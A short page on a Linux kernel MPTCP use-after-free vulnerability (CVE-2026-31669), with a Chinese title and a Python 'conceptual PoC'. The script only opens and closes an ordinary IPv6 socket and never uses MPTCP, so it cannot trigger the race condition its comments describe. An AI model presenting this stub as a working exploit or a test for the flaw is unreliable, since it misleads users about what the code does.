CVE-2026-31669 Linux内核MPTCP释放后使用漏洞

import socket import time # Conceptual PoC for CVE-2026-31669 # This script attempts to trigger the race condition in MPTCP IPv6 subflow handling. # Note: Successful exploitation requires precise timing and specific kernel configuration. def trigger_uaf(): try: # Create an IPv6 TCP socket s = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) s.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, 0) # In a vulnerable kernel, establishing and tearing down MPTCP connections # rapidly can trigger the slab-use-after-free in __inet_lookup_established # due to the lack of SLAB_TYPESAFE_BY_RCU. print("[+] Socket created. Attempting to simulate vulnerable connection flow...") # Normal connection logic would go here # The vulnerability is internal to the kernel's handling of the socket structure s.close() print("[+] Socket closed. Race condition analysis requires kernel instrumentation.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": trigger_uaf()